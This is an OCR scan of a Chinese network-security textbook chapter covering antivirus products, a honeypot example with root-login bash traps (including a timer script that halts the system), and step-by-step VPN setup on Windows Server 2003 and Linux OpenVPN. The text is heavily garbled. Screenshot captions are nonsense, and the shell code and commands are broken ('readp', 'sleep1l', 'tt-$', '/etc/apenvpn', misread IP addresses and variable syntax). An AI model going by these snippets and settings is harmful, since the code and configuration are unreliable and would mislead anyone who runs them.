擎 和 更 快 的 扫描 速度 可 以 保护 用 户 的 计算 机 免 受 病毒 .蠕虫 木马 和 其 他 恶意 程序 的 危害 ; 
它 将 实时 监控 文件 、 网 页 .邮件 .ICQ/MSN 协议 中 的 恶意 对 象 :扫描 操作 系统 和 已 安装 程序 
的 漏洞 ,应 用 程序 过 滤 将 计算 每 个 程序 的 安全 值 以 分 配 不 同 的 安全 级 别 ; 独 特 设计 的 安全 免 
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疫 区 可 以 让 用 户 在 安全 免疫 区 运行 可 疑 程 序 和 不 安全 网 站 ;增强 的 双向 防火 墙 将 阻止 所 有 
不 安全 的 网 络 活动 ,各 种 贴心 设计 的 实用 工具 (浏览 器 系统 优化 ,应急 磁盘 活动 痕迹 清理 工 
具 、Windows 设置 修复 ) 更 加 保护 用 户 安全 。 


5. Norton AntiVirus 2010 


Norton AntiVirus 是 一 套 强 而 有 力 的 防毒 软件 , 它 可 帮 用 户 侦 测 上 万 种 已 知 和 未 知 的 
病毒 。 每 当 开 机 时 ,自动 防护 便 会 常 驻 在 System Tray, 当 从 磁盘 、 网 路 ,E-mail 存档 中 开启 
档案 时 便 会 自动 侦 测 档案 的 安全 性 ,车 档案 内 含 病毒 , 便 会 立即 警告 ,并 做 适当 的 处 理 。 另 
外 它 还 附 有 LiveUpdate 功能 ,可 帮 用 户 自动 连 上 Symantec 的 FTP Server 下 载 最 新 的 病毒 
码 ,下载 完 后 自动 完成 安装 更 新 的 动作 。 

新 特性 : 检测 删除 病毒 和 恶意 软件 .自动 屏蔽 恶意 软件 和 蠕虫 .防止 邮件 中 的 病毒 、 寻 
找 移 除 隐藏 的 漏洞 .自动 更 新 功能 、 即 时 保护 功能 。 


5.11 实例 : BERR 


计算 机 网 络 安全 技术 的 核心 问题 ,是 对 计算 机 和 网 络 系统 进行 有 效 的 防护 。 网 络 安全 
防护 涉及 面 很 广 , 从 技术 层面 上 讲 , 主 要 包括 数据 加 密 技 术 、 认 证 技术 、 防 火 墙 技 术 、 入 侵 检 
测 技术 ,病毒 防护 技术 等 。 在 这 些 技术 中 ,多 数 技术 都 是 在 攻击 者 对 网 络 进 行 攻击 时 进行 的 
被 动 防护 。 然 而 , 蜜 钠 (Honeypot) 技 术 可 以 采取 主动 方式 。 蜜 钢 技 术 诱 导 黑 客 误 入 上 疏 途 ， 
消耗 他 们 的 精力 ,为 加 强 防 范 赢得 时 间 。 


1. 密 缸 的 概念 


美国 的 L. Spizner 是 一 个 著名 的 蜜 纺 技术 专家 ,他 对 蜜 钠 的 定义 : 蜜 镀 是 一 种 资源 , 它 
的 价值 是 被 攻击 或 攻陷 。 这 就 意味 着 蜜 钠 是 用 来 被 探测 .被 攻击 甚至 最 后 被 攻陷 的 , 蜜 饶 不 
会 修补 任何 东西 ,这 样 就 为 使 用 者 提供 了 额外 的 有 价值 的 信息 。 蜜 护 不 会 直接 提高 计算 机 
网 络 安全 ,但 是 它 却 是 其 他 安全 策略 不 可 替代 的 一 种 主动 防御 技术 。 由 于 蜜 镀 并 没有 向 外 
界 提供 真正 有 价值 的 服务 ,因此 所 有 对 蜜 钠 的 访问 都 被 视 为 可 疑 的 。 蜜 钢 拖 延 攻击 者 对 真 
正 目标 的 攻击 ,让 攻击 者 在 蜜 缸 上 浪费 时 间 。 

蜜 饶 就 是 一 台 不 做 任何 安全 防范 措施 ,并 且 连 接 互联 网 的 计算 机 。 但 是 蜜 饶 与 一 般 的 
计算 机 不 同 , 它 存在 多 种 漏洞 .并 且 管 理 员 清 楚 这 些 漏洞 ,内 部 运行 各 种 数据 记录 程序 ,会 记 
录入 侵 者 的 所 有 操作 和 行为 ,这 也 是 蜜 把 系统 最 为 重要 的 功能 。 

无 论 如 何 建立 和 使 用 蜜 缸 ,只 有 受到 攻击 时 , 它 的 作用 才能 发 挥 出 来 。 为 了 吸引 攻击 
者 ,通常 在 蜜 镀 系统 中 故意 留 下 一 些 安全 后 门 . 或 者 放置 一 些 网 络 攻 击 者 希望 得 到 的 虚假 敏 
感 信息 ,吸引 攻击 者 上 钓 。 对 攻击 者 的 行为 进行 记录 ,管理 员 通 过 研究 和 分 析 这 些 记录 ,能 
够 得 知 攻击 者 采用 的 攻击 工具 、 攻 击 手段 ,攻击 目的 和 攻击 水 平等 信息 。 同 时 ,这 些 信息 将 
会 成 为 对 攻击 者 进行 起 诉 的 证 据 。 


2. SER] 36 
根据 设计 的 最 终 目的 不 同 , 可 以 将 蜜 缸 分 为 : TA iE SERIE R SEE. 
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CD 产品 型 蜜 镀 一 般 运 用 于 商业 组 织 的 网 络 中 。 
(2) 研究 型 蜜 缸 专门 以 研究 和 获取 攻击 信息 为 目的 而 设计 。 


3. 一 个 简单 密 缸 的 例子 


操作 系统 为 : RHEL/CentOS/Fedora, 

黑客 人 侵 Linux 系统 一 般 有 两 种 方法 : 猜测 root 口令 ,一 旦 获得 root 口令 ,就 会 以 
root 身份 登录 。@ 先 以 普通 用 户 身 份 登录 ,然后 用 su 命令 转换 成 root, 

(1) 设置 陷阱 ,防止 黑客 以 root 身份 登录 。 

在 /root/. bash_profile 文件 后 面 追加 如 下 一 段 程序 : 


#root .profile 

Clear 

echo 

echo "Login:" 

readp 

if ["$ p"="123456"]; then 
Clear 

else 
exit 

fi 


(2) 设置 陷阱 ,防止 黑客 用 su 命令 转换 成 root. 
在 /etc/profile 文件 后 面 追加 如 下 一 条 命令 : 
alias s 'su ztguang' 
(3) 设置 陷阱 ,终止 黑客 的 root 身份 。 
如 果 黑 客 已 经 成 功 以 root 身份 登录 ,就 要 启动 登录 成 功 的 陷阱 。 一 旦 root 登录 ,就 启 
动 一 个 计时 器 ,正常 的 root 登录 能 够 停止 计时 ,而 非法 入 侵 者 因 不 知道 何 处 有 计时 器 ,就 无 
法 停止 计时 ,等 计时 到 时 ,就 触发 相应 的 操作 (如 关机 等 ) 。 
陷阱 程序 /root/nonhacker. sh 内 容 如 下 : 
* !/bin/sh 
tt=0 
while ["$ tt" -le 120]; do 
sleep1l 
tt-$ (($ tt+1)) 


done 
halt — $24 Bh XL 


在 /root/. bashrc 文件 后 面 追加 如 下 一 条 命令 : 
. nonhacker.sh & 


正常 root 用 户 登 录 后 ,可 以 执行 jobs 命令 ,然后 执行 Kill %n 命令 终止 陷阱 程序 。 
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5.12 VPN 技 术 


本 节 首 先 简 要 介绍 VPN 的 基本 概念 ,然后 通过 实例 讲述 VPN 技术 在 Windows 环境 
和 Linux 环境 中 的 应 用 。 


5.12.1 VPN 技术 概述 


1. VPN 的 定义 


虚拟 专用 网 (Virtual Private Network,VPN) 被 定义 为 通过 一 个 公用 网 络 ( 公 用 网 络 包 
括 IP 网 络 、 帧 中 继 网 络 和 ATM 网 络 ,通常 是 指 互联 网 ) 建 立 一 个 临时 的 、 安 全 的 连接 ,是 一 
条 穿 过 公用 网 络 的 安全 ,稳定 的 通道 。 在 VPN 中 ,任意 两 个 结 点 之 间 的 连接 并 没有 传统 专 
用 网 络 所 需 的 端 到 端的 物理 链 路 ,而 是 利用 某 种 公用 网 络 的 资源 动态 组 成 的 。 虚 拟 是 指 用 
户 不 再 需要 拥有 实际 的 长 途 数 据 线 路 ,而 是 使 用 Internet 公众 数据 网 络 的 长 途 数 据 线 路 。 
专用 网 络 是 指 用 户 可 以 为 自己 制定 一 个 最 符合 自己 需求 的 网 络 。VPN 不 是 真 的 专用 网 络 ， 
但 却 能 够 实现 专用 网 络 的 功能 。 

VPN 是 对 企业 内 部 网 的 扩展 ,可 以 帮助 远程 用 户 、 公 司 分 支 机 构 .商业 伙伴 及 供应 商 同 
公司 的 内 部 网 建立 可 信 的 安全 连接 ,并 保证 数据 的 安全 传输 ;VPN 可 用 于 不 断 增长 的 移动 
用 户 的 全 球 互联 网 接 入 ,以 实现 安全 连接 。 

一 般 情况 下 VPN 有 PPTP VPN IPSEC VPN 和 L2TP VPN 这 3 种 ,其 中 PPTP VPN 
最 简便 ;IPSEC VPN 最 通用 ;各 个 平台 都 支持 ,L2TP VPN 最 安全 。 


2. VPN 的 基本 功能 


VPN 的 功能 至 少 要 包含 以 下 几 个 方面 。 

CD 加 密 数 据 : 保证 通过 公用 网 络 传输 的 信息 即使 被 其 他 人 截获 也 不 会 泄露 。 
(2) 信息 验证 和 身份 识别 : 保证 信息 的 完整 性 、 合 理性 ,并 能 鉴别 用 户 的 身份 。 
G) 提供 访问 控制 : 不 同 的 用 户 有 不 同 的 访问 权限 。 

(4) 地 址 管理 : 能 够 为 用 户 分 配 专用 网 络 上 的 地 址 并 确保 地 址 的 安全 性 。 

(5) 密 钥 管理 : 能 够 生成 并 更 新 客户 端 和 服务 器 的 加 密 密 钥 。 

(6) 多 协议 支持 : 能 够 支持 公共 网 络 上 普遍 使 用 的 基本 协议 (包括 IP、IPX 等 ) 。 


3. VPN 的 优点 


CD. 降低 费用 

远程 用 户 可 以 在 当地 接 人 Internet, LA Internet 作为 通道 与 企业 内 部 的 专用 网 络 相 连 ， 
可 以 大 幅 降低 通信 费用 ,另外 企业 可 以 节省 购买 和 维护 通信 设备 的 费用 。 

(2) 安全 性 增强 

VPN 使 用 通道 协议 .身份 验证 和 数据 加 密 3 个 方面 的 技术 保证 通信 的 安全 性 。 客 户 机 
向 VPN 服务 器 发 出 请 求 ,VPN 服务 器 响应 请 求 并 向 客户 机 发 出 身份 质询 ,客户 机 将 加 密 的 
响应 信息 发 送 到 VPN 服务 器 端 ,VPN 服务 器 根据 用 户 数据 库 检查 该 响应 ,如 果 账 户 有 效 ， 
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VPN 服务 器 将 检查 该 用 户 是 否 具有 远程 访问 的 权限 。 如 果 拥 有 远程 访问 的 权限 ,VPN 服务 
器 接受 此 连接 。 在 身份 验证 过 程 中 产生 的 客户 机 和 服务 器 公有 密 钥 将 用 来 对 数据 进行 加 密 。 

(3) 支持 最 常用 的 网 络 协 议 

在 基于 IP、IPX 和 NetBUI 协议 的 网 络 中 的 客户 机 都 能 够 很 容易 地 使 用 VPN. 

COD 有 利于 IP 地 址 安全 

VPN 是 加 密 的 ,VPN 数据 在 Internet 中 传输 时 ,Internet 上 的 用 户 只 看 到 公共 的 IP 地 
址 ,看 不 到 数据 包 内 包含 的 专用 网 络 地 址 。 


5.12.2 实例 : 配置 基于 Windows 平台 的 VPN 


1. 在 Windows 2003 Server SP2 上 配置 VPN 服务 器 的 过 程 


第 1 步 : 打开 【路 由 和 远程 访问 服务 器 安装 向 导 】 人 窗口 。 
依次 选择 [开始 3I【 程 序 3I【 管 理工 具 】I【 路 由 和 远程 访问 命令 ,打开 【路 由 和 远程 访问 】 
窗口 ,如 图 5-87 所 示 。 布 击 左边 框架 中 的 [ZTG2003( 本 地 )】 选 项 (ZTG2003 为 服务 器 名 )， 
选择 【配置 并 启用 路 由 和 远程 访问 命令 ,打开 【路 由 和 远程 访问 服务 器 安装 向 导 】 对 话 框 ,如 

图 5-88 所 示 。 
路 由 和 运程 访问 服务 器 安装 向 导 


配置 m 
悠 可 以 尼 用 下 列 腿 务 的 任意 组 合 ,或 者 您 可 以 自 定 义 此 服务 器 。 ss] 


c ERJA à) 
IRIgt Mecuewsemapempus con Internet 连接 来 连接 到 | 


路 由 和 运程 访问 AmE 
文件 到 ) WEW FEV 帮助 如 


和 四 | E m 
路 由 和 运程 访问 
Ft FERES 
ERSERBeSROHI 
FAREMIDO 
所 有 任务 D 


mV 
Sio 


MEW 


C FERIER OAT) Œ) 

区 许 内 部 客户 请 使 用 一 个 公共 IP 地 址 连接 到 Internete 
C 虚拟 专用 网络 omnii war e) 

Internet Zanan, 本 地 客户 端 使 用 一 个 单一 的 
IP Internet, 

C 两 个 专用 网 络 之 间 的 安全 连接 人) 

将 此 网 络 连 接 到 一 个 远程 网 络 ， 例 如 一 个 分 支 办公 室 . 
C 目 定义 配置 C) 

选择 在 路 由 和 运程 访问 中 的 任何 可 用 功能 的 姐 合 . 


有 关 这 些 选 项 的 更 多 信息 ， 请 参阅 路 由 和 运程 访问 帮助 。 


m | 
图 5-87 【路 由 和 远程 访问 了 窗口 图 5-88 【路 由 和 远程 访问 服务 器 安装 向 导 了 窗口 


第 2 步 : 选择 网 络 接口 。 在 图 5-88 中 ,选择 [远程 访问 (拨号 或 VPN) 了 单 选 按钮 ,然后 
单 击 [下 一 步 ] 按 钮 ,弹出 如 图 5-89 所 示 的 对 话 框 ,选中 [VPN]】 复 选 框 ,然后 单 击 【 下 一 步 ] 按 
钮 ,弹出 如 图 5-90 所 示 的 对 话 框 ,选择 网 络 接 口 (本 实验 选择 192. 168. 10. D ,然后 单 击 
【下 一 步 ] 按 钮 ,弹出 如 图 5-91 所 示 的 对 话 框 。 

第 3 步 : 指定 IP 地 址 。 在 图 5-91 中 ,要 为 远程 VPN 客户 端 指定 IP 地 址 。 默 认 选 择 
【自动 3 单 选 按钮 ,由 于 本 机 没有 配置 DHCP 服务 器 ,因此 需要 改选 择 【 来 自 一 个 指定 的 地 址 
范围 单 选 按钮 ,然后 单 击 【 下 一 步 ] 按 钮 ,弹出 如 图 5-92 所 示 的 对 话 框 。 在 【新 建 地 址 范 
围 ] 窗 口中 ,可 以 为 VPN 客户 机 指定 所 分 配 的 IP PM s 比如 分 配 的 IP 地 址 范围 为 


名 
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[fa drflix EU HIR ESCREEL SE 


访问 
您 可 以 配置 此 服务 器 授 受 搞 号 连 授 和 VER EE. 


Wx 
Ven 服务 器 也 称 为 YEN 同 关 ) 可 以 酒 过 Internet 从 运程 客户 端 按 


T RSW 


BEEGÜUBSBssUDiN GNE, POENA, JBE 
[2 4:3] 取消 


图 5-89 远程 访问 


Li 访问 服务 


VEN 连接 
Eftir VP SEPIRISTESILLR S88, 至少 要 有 一 个 网 络 接口 连接 到 


Internets 


向 导 


选择 插 此 服务 器 连接 到 Internet HARRO. 


PAROW: 
名 称 


JV. 通过 设置 秤 者 汐 澳 包 季 选 器 末 对 选择 的 按 口 进 行 保护 QD. 
WIRES PLE Yr 通讯 通过 选 定 的 接口 访问 此 服务 器 。 


EE) m 


图 5-90 VPN 连接 


和 输入 一 个 起 始 IP 地 址 ， 和 结束 IP 地 址 或 范围 中 的 地 址 数 。 


起 娩 IP 地 址 G) [192.169. 10 100 
结束 IP 地 址 组) 192. 168. 10 .20d 


Hii 四 101 


地 址 指定 
CURRIES PARRY IP 地 址 的 方法 。 g5 


HRONE S PREVÉ IP 地 址 7 
C BD 

ed a nere 
个 FEE THHETEROHEETRES QD] 


m | 


图 5-91 IP 地 址 指定 图 5-92 指定 IP 地 址 范围 
路 由 和 远程 访问 最 务 器 安装 向 导 
SELTESUHEZS — 要 
A 


和 
二 ms 服务 器 ， 您 可 以 设置 此 服务 器 插 身份 验证 请 


悠 想 设置 此 服务 器 与 RADIVS 服务 器 一 起 工作 吗 ? 
CES 
个 是 ,设置 此 服务 器 与 RADIUS 服务 器 一 起 工作 CO. 


《上 - 步 四 JB 


图 5-93 管理 多 个 远程 访问 服务 器 
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此 时 需 注 意 , 不 可 以 将 本 身 的 IP 地 址 (192. 168. 10. 1) 包 含 进去 。 


BEE 这 些 IP 地 址 将 分 配给 VPN 服务 器 和 VPN 客户 机 。 为 了 确保 连接 后 的 
VPN 网 络 能 同 VPN 服务 器 原 有 局 域 网 正常 通信 ,它们 必须 同 VPN 服务 器 的 IP 地 址 处 
在 同一 个 网 段 中 。 即 假设 VPN 服务 器 IP 地 址 为 192. 168.0.1, 则 此 范围 中 的 IP 地 址 均 
应 该 以 192.168.0 开头 。 单 击 【确定 按钮 ,然后 单 击 【 下 一 步 ) 按 钮 继续 。 


第 4 步 : 结束 VPN 服务 器 的 配置 。 在 图 5-93 中 ,在 【管理 多 个 远程 访问 服务 器 ] 一 步 
用 于 设置 集中 管理 多 个 VPN 服务 器 。 默 认 选 择 【 否 ,使 用 路 由 和 远程 访问 来 对 连接 请 求 
进行 身份 验证 了 单 选 按钮 ,不 用 修改 ,直接 单 击 【下 一 步 ] 按 钮 。 弹 出 如 图 5-94 所 示 的 对 话 
框 ,直接 单 击 【 完 成 了] 按钮。 此 时 屏幕 上 将 出 现 一 个 名 为 【正在 启动 路 由 和 远程 访问 服务 】 
的 小 窗口 ,过 一 会 儿 将 自动 返回 【路 由 和 远程 访问 窗口 , 即 结 束 了 VPN 服务 器 的 配置 
TE, 


路 由 和 远程 访问 最 务 器 安装 向 导 
正在 完成 路 由 和 远程 访问 服务 器 安装 向 导 


娩 已 成 功 完成 路 由 和 和 运程 访问 服务 器 实 装 向 导 - 


1:2: HIE SE 
鹤 尸 这 该 指定 到 下 列 网 党 以 寻 址 :本 地 过 接 2 


的 
z 


SEEN AERE ls 
i asol E] 取消 | 


图 5-94 完成 VPN 服务 器 的 配置 


GE 此 时 [路 由 和 远程 访问 窗口 (如 图 5-95 所 示 ) 中 的 【路 由 和 远程 访问 了】 服务 
已 经 处 于 【已 启动 状态 了 ;而 在 【网 络 和 拨号 连接 了】 窗口 中 也 会 多 出 一 个 【 传 入 的 连接 了】 
图 标 。 


路 由 和 运程 访问 [ic[x] 


文件 四 REO FEV MOD 
|je»|mm|mnag|gm  . ; - | 
G'nemsüus 
B eem Be sper [sec | 


X Aaen ZIG2003 Vadministrator 00:01:41 1 


Zan 
A 远程 访问 客户 端 0) 
EA I 路 由 选择 
常规 
1 静态 路 由 
A mcr 中 继 代理 程序 
d ar 
EA d 
Q 远程 访问 记录 


图 5-95 【路 由 和 远程 访问 窗口 
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第 5 步 : 赋予 用 户 拨 入 权限 。 默 认 情 况 下 ,包括 Administrator 用 户 在 内 的 所 有 用 户 均 


被 拒绝 氢 入 到 VPN 服务 器 上 ,因此 需要 为 相应 用 户 赋 予 氢 入 权限 。 下 面 以 Administrator 
用 户 为 例 。 


(1) 在 [我 的 电脑 3 处 右 击 , 选 择 【管理 3 命令, 打开 【计算 机 管理 窗口 ,如 图 5-96 所 示 。 


[ELIT 
|) stc) REW SEV SOW HHW | zai 
Elem AERE Se 
计算 机 管理 EH) z T 
oi RRIA i 管理 计算 机 ( 域 ) 的 内 置 帐 户 
四 加 事件 查 看 器 Im PURRU BT HELUURUS AA 
Hg 共享 文件 夹 doni zs Internet 来 宾 帐 户 匿名 访问 Internet 信息 服务 的 
BEER ina rows B Ts 进程 帐 忆 用 于 启动 进程 外 应 用 程序 的 Int 
ARP SUPPORT sses4ss。 CIMierosoft Corpora.. 这 是 一 个 帮助 和 支持 服务 的 提供 
aa 国 
re iem 


图 5-96 【计算 机 管理 窗口 


(2) 在 左边 框架 中 依次 展开 【本 地 用 户 和 组 YI【 用 户 】 选 项 ,在 右边 框架 中 双击 
Administrator, 打 开 Administrator 属性 窗口 ,弹出 如 图 5-97 所 示 的 对 话 框 。 

G) 选择 [ 拨 入 选项 卡 ,在 【选择 访问 权限 ( 拨 入 或 VPN)] 选 项 组 下 默认 选择 【通过 远 
程 访 问 策略 控制 访问 了 单 选 按钮 ,改选 择 【允许 访问 了 单 选 按钮 ,然后 单 击 【确定 ] 按 钮 ,返回 
【计算 机 管理 了 窗口 , 即 结束 了 赋予 Administrator 用 户 所 入 权限 的 工作 。 


2. VPN 客户 机 (WinXP) 的 配置 过 程 


第 1 步 : 打开 [网络 连接 窗口 。 在 【网 上 邻居 】 处 右 击 ,选择 【属性 命令 ,打开 【网 络 连 
接 了 窗口 ,如 图 5-98 所 示 。 单 击 【创建 一 个 新 的 连接 了 按钮 ,在 弹出 的 窗口 中 单 击 【下 一 步 ] 按 
钮 ,弹出 如 图 5-99 所 示 的 对 话 框 ,选择 【连接 到 我 的 工作 场所 的 网 络 有 单 选 按钮 , 单 击 【 下 一 
步 ] 按 钮 ,弹出 如 图 5-100 所 示 的 对 话 框 ,选择 【虚拟 专用 网 络 连 接 有 单 选 按 钮 , 单 击 【 下 一 步 】 
按钮 ,弹出 如 图 5-101 所 示 的 对 话 框 。 

Administrator D: AE 

常规 | RRF | memet | 环境 | 会 话 

运程 控制 。 “|” 终 疯 服务 配置 文件 RA 


上 远程 访问 权限 RARE VEN) 


€ pESEOSELQOJ 

C dei QU 

C 通过 远程 访问 策略 控制 沪 问 P) 

T ENA 3500: = 

EINA. 

(C TERRO ED [717 HEV KEA IRO SUW a| 
C 由 吕方 设置 (公路 由 和 远程 沪 问 服务 ) G) 

C SREIESI QD: o1] mE- Q- Os ipse | 国 - 
T- BR rr HUE GO IEEE 加 
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为 此 毛 入 连接 定义 要 后 用 的 路 由 。 PSSA QD. 


图 5-97 EAYXESCE 
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网 络 连接 类 型 
[Dr e 


口 连 接 到 Internet (C) 
连接 到 Internets emo Yeb 或 阅读 电子 邮件 。 


COFERGIRIE T TESBID |] 
Ed [p VPN) ,这 样 您 就 可 以 在 家 里 或 者 其 地 地 


CO 设置 家 庭 或 小 型 办 公 网 络 C) 
ERE TAARE AEAEE 或 者 设置 一 个 新 的 。 


ORAE) 


RES nis 口 直接 连接 到 其 地 计 算 机 ,或 设置 此 计算 机 使 其 地 
计算 机 能 与 它 连 接 。 


TZN ETE] 
图 5-99 网 络 连接 类 型 


网 络 连接 
您 想 要 在 工作 点 加 何 与 网 络 连 接 ? és 
BEFANT 


O3 918 0) 
ARRAROEN, ORDER S ESEICTE FI ISDN) ADS 


ORNARE QD. 
QRISTLSRIFIR WP 有 通过 Internet 连接 到 网 络 。 


« E aD J[F—5 QD »j 


图 5-100 ”网络 连接 


连接 名 
JEXIERSITIUT HESS IR Gf. &) 


HO , ATRA AOT FER SERTEN BE, 
Ei] 


图 5-101 连接 名 


第 2 步 : 输入 公司 名 。 在 图 5-101 中 ,输入 公司 名 , 单 击 【下 一 步 ] 按 钮 ,弹出 如 图 5-102 
所 示 的 对 话 框 ,在 此 可 以 选择 是 否 在 VPN 连接 前 自动 拨号 。 默 认 选 择 【[ 自 动 所 此 初始 连 
接 了 单 选 按钮 ,需要 改选 择 [ 不 拨 初 始 连接 昔 选 按钮 ,然后 单 击 【 下 一 步 ] 按 钮 ,弹出 如 图 5-103 
所 示 的 对 话 框 。 
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公用 同 络 
Yindovs 可 以 先 确认 公用 网 络 是 否 已 按 好 . 2] 
E 


Exe TERENDE NBAS] Internet 或 其 他 公用 网 络 的 初始 


《上 一 步 四 ][ 下 一 步 m »)( Ri 


图 5-102 公用 网 络 


vrs 服务 器 选择 
YPN 服务 器 的 名 称 或 地 址 是 什么 ? 


输入 您 正 连接 的 计算 机 的 主机 名 或 IP 地 址 。 


主机 名 或 IP 地 址 (0, microsoft. com 或 157.54.0.0 QD. 
192. 168. 10.1 


t-s e)[r— a» » 


图 5-103 VPN 服务 器 选择 


第 3 步 : 输入 VPN 服务 器 的 IP 地 址 。 在 图 5-103 中 ,需要 提供 VPN 服务 器 的 主机 名 
或 IP 地 址 。 在 文本 框 中 输入 VPN 服务 器 的 IP 地 址 ,本 实验 VPN 服务 器 的 IP 地 址 是 
192. 168. 10. 1 ,然后 单 击 【 下 一 步 ] 按 钮 ,弹出 如 图 5-104 所 示 的 对 话 框 ,可 以 选中 【在 我 的 桌 
面 添加 一 个 到 此 连接 的 快捷 方式 】 复 选 框 , 然 后 单 击 【 完 成 ] 按 钮 。 之 后 会 自动 弹出 【连接 
win2003】 对 话 框 ,如 图 5-105 所 示 。 输 入 用 户 名 和 密码 ,根据 需要 选中 [为 下 面 用 户 保存 用 
户 名 和 密码 ] 复 选 框 ,然后 单 击 【 连 接 ] 按 钮 。 


连接 win2003 


正在 完成 新 建 连接 向 导 


您 已 成 功 完成 包 了 下 列 演 接 需要 的 步 机 


win2003 
。 与 此 计算 机 上 的 所 有 用 户 共享 


此 尝 接 格 被 存 入 “网 络 连 接 ”文件 夹 。 
DIEERSGSUR ERO TARER 


FORBIOSHOUXHISIS , d "sunk". 


人 〇 任何 使 用 此 计算 机 的 人 人) 


< 上 一 步 @) ES 取消 ERO Ru LIS LUI 


图 5-104 完成 VPN 服务 器 设置 图 5-105 【连接 win2003] 对 话 框 
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匿 注意 ”此 处 输入 的 用 户 名 应 为 VPN 服务 器 上 已 经 建立 好 ,并 设置 了 具有 拨 入 服 
务 器 权限 的 用 户 , 窗 码 也 为 其 密码 。 


连接 成 功 之 后 可 以 看 到 ,双方 的 任务 栏 右 侧 均 会 出 现 两 个 拨号 网 络 成 功 运行 的 图 标 , 其 
中 一 个 是 到 Internet 的 连接 ; 另 一 个 则 是 VPN 的 连接 了 。 


(RES 当 双 方 建立 好 了 通过 Internet 的 VPN 连接 后 , 即 相 当 于 又 在 Internet 上 
建立 好 了 一 个 双方 专用 的 虚拟 通道 。 而 通过 此 通道 ,双方 可 以 在 网 上 邻居 中 进行 互 访 , 即 
相当 于 又 组 成 了 一 个 局 域 网 络 , 这 个 网 络 是 双方 专用 的 ,而 且 具 有 良好 的 保密 性 能 。 
VPN 建立 成 功 之 后 ,双方 便 可 以 通过 IP. 地 址 或 网 上 邻居 来 达到 互 访 的 目的 ,当然 也 就 可 
以 使 用 对 方 所 共享 出 来 的 软 硬 件 资源 了 。 


当 VPN 网 络 建立 成 功 之 后 ,VPN 客户 机 和 VPN 服务 器 ,或 者 VPN 客户 机 和 VPN 服 
务 器 所 在 的 局 域 网 中 的 其 他 计算 机 进行 共享 资源 互 访 的 方法 是 : 在 资源 管理 器 窗口 的 地 址 
栏 输入 “\\ 对 方 IP 地 址 "来 访问 对 方 共享 出 的 软 硬 rm 
件 资源 。 [wA [mm [安全 [Ma [m | 
如 果 VPN 客户 机 不 能 访问 互联 网 ,是 因为 
VPN 客户 机 使 用 了 VPN 服务 器 定义 的 网 关 , 解 决 
方法 是 禁止 VPN 客户 机 使 用 VPN 服务 器 上 的 默 
认 网 关 。 具 体操 作 方法 是 : 对 于 Windows XP 客户 
机 ,在 【网 络 和 拨号 连接 了 窗口 中 , 先 选 中 相应 的 连接 
名 ,比如 为 win2003, 右 击 选择 [属性] 命令 ,打开 
【win2003 属性 ] 窗 口 , 如 图 5-106 所 示 。 再 选择 【网 
络 ] 选 项 卡 , 双 击 列表 中 的 【Internet 协议 (TCP/IP)】 
选项 ,打开 【Internet HX TCP/IP) REIA NO. 
后 单 击 【高 级 按钮 , 进 人 【高 级 TCP/IP 设置 窗口 
的 【常规 选项 卡 , 取 消 选中 [在 远程 网 络 上 使 用 默认 图 5-106 win2003 网 络 连接 属性 
网 关 ] 复 选 框 。 


此 尝 接 使 用 下 列 项 目 Q) 


5.12.3 实例: 配置 基于 Linux 平台 的 VPN 


1. 实验 环境 


一 台 安 装 Linux 的 计算 机 作为 VPN 服务 器 (图 5-107 中 的 VPN 服务 器 ) ,一 台 安 装 
Windows 的 计算 机 ,作为 VPN 客户 端 ( 图 5-107 中 的 外 地 员工 )。 


192.168. 10.1 192.168.10.8 


外 地 员工 (Linux) VPN 服 务 器 。 “123.5.0.0116 


图 5-107 实验 环境 
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该 实验 达到 的 效果 类 似 于 如 图 5-107 所 示 的 VPN 环境 。 

对 图 5-107 的 说 明 如 下 。 

(1) 外 地 员工 端 通过 Internet 网 络 连接 到 公司 网 络 (模拟 成 192. 168. 10. 0 网 段 ) ,并 建 
立 10. 10.0.0 的 VPN 通道 。 

(2) 公司 内 部 网 络 为 123. 5. 0.0 网 段 ,假设 只 有 一 台 主 机 。 

(3) 目标 是 客户 端 和 后 台 主 机 可 以 双向 互通 信 。 


2. 在 Linux 上 配置 VPN 服务 器 的 过 程 
第 1 步 : 下 载 并 且 安 装 lzo 和 openvpn。 在 http://www. oberhumer. com/opensource/ 


lzo/ download/ 下 载 lzo-2. 02; 在 http://openvpn. net/download. html 下 载 openvpn-2. 0. 9, 
安装 lzo 的 命令 如 下 : 


[root@ localhost lzo- 2.02]# ./configure 
[root localhost lzo- 2.02]4 make 
[root localhost lzo- 2.02]f make install 


安装 openvpn 的 命令 如 下 : 


[root localhost openvpn- 2.0.9]# ./configure 
[root localhost openvpn- 2.0.9]4 make 
[root@ localhost openvpn- 2.0.9]4 make install 


第 2 步 : 复制 创建 CA 证 书 的 easy-rsa。 
# cp - ra /usr/share/doc/openvpn- 2.0.9/easy- rsa /etc/apenvpn/ 
第 3 步 : 复制 示例 配置 文件 。 


# cd /etc/openvpn/ 
3 cp /usr/share/doc/openvpn- 2.0.9/sample- config- files/server.conf /etc/openvpn/ 


第 4 步 : 修改 证 书 变 量 。 


# cd easy- rsa 

# vim vars 

根据 用 户 的 实际 情况 ,修改 下 面 的 变量 : 
export KEY COUNTRY- CN 

export KEY FROVINCE- HN 

export KEY CITY- XX 

export KEY CRG- "IEST" 

export KEY EMAIL- "jsjosapu@ 163.com" 


BS 这 些 变量 在 后 面 会 用 到 ,如 果 修 改 , 则 必须 重建 所 有 的 PKI。 


第 5 步 : 初始 化 PKI, 如 图 5-108 所 示 。 
依次 执行 #source vars, #. /clean-all Hl £ . /build-ca 命令 。 


匿 注意 ”一旦 运行 clean-all, 将 删除 keys 下 的 所 有 证 书 。 
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[root@localhost easy-rsa]# so: 


NOTE: when you run ./clean-ell, 1 will be doing a rm -rf on /etc/orenvpn/easy-rsa/keys 
[root&locaihost easy-rsa]? ./ciean-eii 
[root&iocaihost easy-rsa]? ./build-ca 
Generating a 1024 bit RSA private key 


writing new privato key to 'ca.koy' 


You are about to be asked to enter inforwation that vill be incorporated 
into your certificate request. 

What you are about to enter is what is called a Distingvished Name or a DN. 
There are quite a few fields but yov can leave some blank 

For some fields there will be a default value, 

1f you enter '.', the field will be left blank. 


Country Name (2 letter code) [CN]: 

State or Province Name (full name) [HN]: 

Locality Name (eg, city) [XX]: 

Organization Name (eg, company) [TEST]: 

Organizational Unit Name (eg, section) []: 

Common Name (og. your name or your server's hostnamo) []:ZTG-OPENVPN 
Email Address [jsjoscpuo163.com]: 

[rootelocalhost easy-rsa]# 


图 5-108 初始 化 PKI 


Common Name 可 以 自己 定义 ,这 里 用 ZTG-OPENVPN。 
